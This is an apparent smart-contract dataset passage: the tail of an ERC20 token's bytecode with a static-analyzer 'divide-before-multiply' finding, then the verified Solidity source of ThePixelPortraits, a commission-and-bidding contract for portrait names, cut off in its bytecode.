f796024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612407576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ec06022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612578576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f546025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e776023913960400191505060405180910390fd5b60008111612657576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f2b6029913960400191505060405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156126f95750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127105761270b83838360016130f8565b612893565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127b25750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156127c9576127c483838360026130f8565b612892565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561286c5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156128835761287e83838360016133e2565b612891565b6128908383836002613637565b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561291e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f546025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156129a4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e776023913960400191505060405180910390fd5b600081116129fd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f2b6029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612aa05750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612ab757612ab283838360006133e2565b612cf2565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612b5a5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b7157612b6c8383836000613637565b612cf1565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612c155750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612c2a57612c2583838361388c565b612cf0565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ccc5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ce357612cde83838360006130f8565b612cef565b612cee83838361388c565b5b5b5b5b505050565b6000838311158290612da4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d69578082015181840152602081019050612d4e565b50505050905090810190601f168015612d965780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080612dc261306f565b9050612dd7818461302590919063ffffffff16565b915050919050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612e226121d9565b73ffffffffffffffffffffffffffffffffffffffff1614612e465760009050612f99565b6000612e6f6064612e61600a86612f9f90919063ffffffff16565b61302590919063ffffffff16565b90506000612e9a6064612e8c601985612f9f90919063ffffffff16565b61302590919063ffffffff16565b905060008190506000612eca6064612ebc601487612f9f90919063ffffffff16565b61302590919063ffffffff16565b90506000612ef56064612ee7601e88612f9f90919063ffffffff16565b61302590919063ffffffff16565b9050612f0c8560075461227390919063ffffffff16565b600781905550612f1c8885613a4c565b612f48600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684613a4c565b612f74600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613a4c565b612f898160095461227390919063ffffffff16565b6009819055506001955050505050505b92915050565b600080831415612fb2576000905061301f565b6000828402905082848281612fc357fe5b041461301a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ee26021913960400191505060405180910390fd5b809150505b92915050565b600061306783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613ae5565b905092915050565b600080600061307c613bab565b91509150613093818361302590919063ffffffff16565b9250505090565b6000806000806130b38588612f9f90919063ffffffff16565b905060006130ca8688612f9f90919063ffffffff16565b905060006130e1828461222990919063ffffffff16565b905082818395509550955050505093509350939050565b600080600080600061310a87876121e1565b9450945094509450945061316687600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131fb85600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061329082600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061332584600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133728382613e3c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050505050505050565b60008060008060006133f487876121e1565b9450945094509450945061345087600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e585600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061357a84600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506135c78382613e3c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050505050505050565b600080600080600061364987876121e1565b945094509450945094506136a585600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061373a82600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506137cf84600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061381c8382613e3c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3505050505050505050565b600080600080600061389f8660006121e1565b945094509450945094506138fb85600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461222990919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061399084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506139dd8382613e3c565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050505050565b613a9e81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008083118290613b91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613b56578082015181840152602081019050613b3b565b50505050905090810190601f168015613b835780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581613b9d57fe5b049050809150509392505050565b600080600060085490506000600754905060005b600580549050811015613dff57826001600060058481548110613bde57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613cc55750816002600060058481548110613c5d57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15613cdc5760085460075494509450505050613e38565b613d656001600060058481548110613cf057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461222990919063ffffffff16565b9250613df06002600060058481548110613d7b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361222990919063ffffffff16565b91508080600101915050613bbf565b50613e1760075460085461302590919063ffffffff16565b821015613e2f57600854600754935093505050613e38565b81819350935050505b9091565b613e518260085461222990919063ffffffff16565b600881905550613e6c8160095461227390919063ffffffff16565b600981905550505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fd7e616e360ea7701584588c8275d9990390779bd3fc75695f8168c6f6d54c3164736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,830
0x3984bb936eac88769e0b82d0c5784e690cd7ebc4
/** *Submitted for verification at Etherscan.io on 2021-04-02 */ pragma solidity ^0.8.2; // SPDX-License-Identifier: MIT // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▀ ▀▓▌▐▓▓▓▓▓▀▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓ ▓▓▌▝▚▞▜▓ ▀▀ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▄▀▓▌▐▓▌▐▓▄▀▀▀▓▓▓▓▓▓▓▓▓▓▛▀▀▀▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▛▀▀▀▄▄▄▄▄▄▄▛▀▀▀▓▓▓▛▀▀▀▓▓▓▙▄▄▄▛▀▀▀▓▓▓▛▀▀▀▙▄▄▄▓▓▓▛▀▀▀▄▄▄▄▄▄▄▛▀▀▀▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▀▀▀▜▓▓▓▓▓▓▓▓▓▓▌ ▀▀▀▀▀▀▀▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓███ ▐███▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▀▀▀▀▀▀▀▓▓▓▓▓▓▓▌ ▓▓▓▛▀▀▀▙▄▄▄▓▓▓▙▄▄▄▛▀▀▀▓▓▓▓▓▓▓▀▀▀▀▀▀▀▀▀▀▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓ ▓▓▓▓▓▓ ▐▓▓▓▓▓▌ ▐▓▓▓ ▐▓▓▓▌ ▐▓▓▓▓▓▌ ▓▓▓▓▓▓▓▌ ▓▓▓ ▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▌ ▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▌ ▓▓▓ ▐▓▓▓ ▐▓▓▓▓▌ ▓▓▓▓▓▓▓▓ ▐▓ ▐▓▓▓ ▐▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▙▄▄▄▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▐▓ ▐▓▓▓ ▐▓▓▓▓▓▓ ▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓ ▐▌ ▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓ ▓▓▓▓ ▐▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓ ▐▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓ ▐▓▓▓ ▐▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓ ▐▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓ ▐▓▓▓▓▓ ▐▓▓▓ ▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▌ ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ // ▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ThePixelPortraits { using SafeMath for uint256; enum CommissionStatus { queued, accepted, removed } struct Commission { string name; address payable recipient; uint bid; CommissionStatus status; } uint MAX_INT = uint256(0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); address payable public admin; mapping (string => uint) public names; mapping (uint => Commission) public commissions; uint public minBid; // the number of wei required to create a commission uint public newCommissionIndex; // the index of the next commission which should be created in the mapping bool public callStarted; // ensures no re-entrancy can occur modifier callNotStarted () { require(!callStarted); callStarted = true; _; callStarted = false; } modifier onlyAdmin { require(msg.sender == admin, "not an admin"); _; } constructor(address payable _admin, uint _minBid) { admin = _admin; minBid = _minBid; newCommissionIndex = 1; } function updateAdmin (address payable _newAdmin) public callNotStarted onlyAdmin { admin = _newAdmin; emit AdminUpdated(_newAdmin); } function updateMinBid (uint _newMinBid) public callNotStarted onlyAdmin { minBid = _newMinBid; emit MinBidUpdated(_newMinBid); } function registerNames (string[] memory _names) public callNotStarted onlyAdmin { for (uint i = 0; i < _names.length; i++){ require(names[toLower(_names[i])] == 0, "name not available"); // ensures the name is not taken names[toLower(_names[i])] = MAX_INT; } emit NamesRegistered(_names); } function commission (string memory _name) public callNotStarted payable { require(validateName(_name), "name not valid"); // ensures the name is valid require(names[toLower(_name)] == 0, "name not available"); // the name cannot be taken when you create your commission require(msg.value >= minBid, "bid below minimum"); // must send the proper amount of into the bid // Next, initialize the new commission Commission storage newCommission = commissions[newCommissionIndex]; newCommission.name = _name; newCommission.recipient = payable(msg.sender); newCommission.bid = msg.value; newCommission.status = CommissionStatus.queued; emit NewCommission(newCommissionIndex, _name, msg.value, msg.sender); newCommissionIndex++; // for the subsequent commission to be added into the next slot } function updateCommissionName (uint _commissionIndex, string memory _newName) public callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued require(validateName(_newName), "name not valid"); // ensures the name is valid require(names[toLower(_newName)] == 0, "name not available"); // the name cannot be taken when you create your commission selectedCommission.name = _newName; emit CommissionNameUpdated(_commissionIndex, _newName); } function rescindCommission (uint _commissionIndex) public callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued // we mark it as removed and return the individual their bid selectedCommission.status = CommissionStatus.removed; selectedCommission.recipient.transfer(selectedCommission.bid); emit CommissionRescinded(_commissionIndex); } function increaseCommissionBid (uint _commissionIndex) public payable callNotStarted { require(_commissionIndex < newCommissionIndex, "commission not valid"); // must be a valid previously instantiated commission Commission storage selectedCommission = commissions[_commissionIndex]; require(msg.sender == selectedCommission.recipient, "commission not yours"); // may only be performed by the person who commissioned it require(selectedCommission.status == CommissionStatus.queued, "commission not in queue"); // the commission must still be queued // then we update the commission's bid selectedCommission.bid = msg.value + selectedCommission.bid; emit CommissionBidUpdated(_commissionIndex, selectedCommission.bid); } function processCommissions(uint[] memory _commissionIndexes) public onlyAdmin callNotStarted { for (uint i = 0; i < _commissionIndexes.length; i++){ Commission storage selectedCommission = commissions[_commissionIndexes[i]]; require(selectedCommission.status == CommissionStatus.queued, "commission not in the queue"); // the queue my not be empty when processing more commissions require(names[toLower(selectedCommission.name)] == 0); // admins can't process commissions with names which are taken // the name isn't taken yet and will be accepted selectedCommission.status = CommissionStatus.accepted; // first, we change the status of the commission to accepted names[toLower(selectedCommission.name)] = _commissionIndexes[i]; // finally, we reserve the name for this commission admin.transfer(selectedCommission.bid); // next we accept the payment for the commission emit CommissionProcessed(_commissionIndexes[i], selectedCommission.status); } } // Credit to Hashmasks for the following functions function validateName (string memory str) public pure returns (bool) { bytes memory b = bytes(str); if(b.length < 1) return false; if(b.length > 25) return false; // Cannot be longer than 25 characters if(b[0] == 0x20) return false; // Leading space if (b[b.length - 1] == 0x20) return false; // Trailing space bytes1 lastChar = b[0]; for(uint i; i<b.length; i++){ bytes1 char = b[i]; if (char == 0x20 && lastChar == 0x20) return false; // Cannot contain continous spaces if( !(char >= 0x30 && char <= 0x39) && //9-0 !(char >= 0x41 && char <= 0x5A) && //A-Z !(char >= 0x61 && char <= 0x7A) && //a-z !(char == 0x20) //space ) return false; lastChar = char; } return true; } function toLower (string memory str) public pure returns (string memory) { bytes memory bStr = bytes(str); bytes memory bLower = new bytes(bStr.length); for (uint i = 0; i < bStr.length; i++) { // Uppercase character if ((uint8(bStr[i]) >= 65) && (uint8(bStr[i]) <= 90)) { bLower[i] = bytes1(uint8(bStr[i]) + 32); } else { bLower[i] = bStr[i]; } } return string(bLower); } event AdminUpdated(address _newAdmin); event MinBidUpdated(uint _newMinBid); event NamesRegistered(string[] _names); event NewCommission(uint _commissionIndex, string _name, uint _bid, address _recipient); event CommissionNameUpdated(uint _commissionIndex, string _newName); event CommissionBidUpdated(uint _commissionIndex, uint _newBid); event CommissionRescinded(uint _commissionIndex); event CommissionProcessed(uint _commissionIndex, CommissionStatus _status); }
0x6080604052600436106100f35760003560e01c806397d3335d1161008a578063dd4fce8d11610059578063dd4fce8d14610323578063e2f273bd1461034c578063eeb8506b14610375578063f851a4401461039e576100f3565b806397d3335d146102855780639ffdb65a146102a1578063a87dcf4b146102de578063ae59d62d14610307576100f3565b8063720dc00c116100c6578063720dc00c146101b557806381d9816b146101e0578063822fbf581461020b5780639416b42314610248576100f3565b806322b3a7c8146100f85780633166fd1d146101385780633e109a1914610161578063641d73831461018c575b600080fd5b34801561010457600080fd5b5061011f600480360381019061011a91906123a9565b6103c9565b60405161012f9493929190612770565b60405180910390f35b34801561014457600080fd5b5061015f600480360381019061015a91906123a9565b6104ae565b005b34801561016d57600080fd5b506101766105cf565b60405161018391906128bc565b60405180910390f35b34801561019857600080fd5b506101b360048036038101906101ae91906123d2565b6105d5565b005b3480156101c157600080fd5b506101ca6108de565b6040516101d79190612733565b60405180910390f35b3480156101ec57600080fd5b506101f56108f1565b60405161020291906128bc565b60405180910390f35b34801561021757600080fd5b50610232600480360381019061022d9190612368565b6108f7565b60405161023f91906128bc565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a9190612368565b610925565b60405161027c919061274e565b60405180910390f35b61029f600480360381019061029a9190612368565b610be7565b005b3480156102ad57600080fd5b506102c860048036038101906102c39190612368565b610e59565b6040516102d59190612733565b60405180910390f35b3480156102ea57600080fd5b5061030560048036038101906103009190612327565b611223565b005b610321600480360381019061031c91906123a9565b611742565b005b3480156103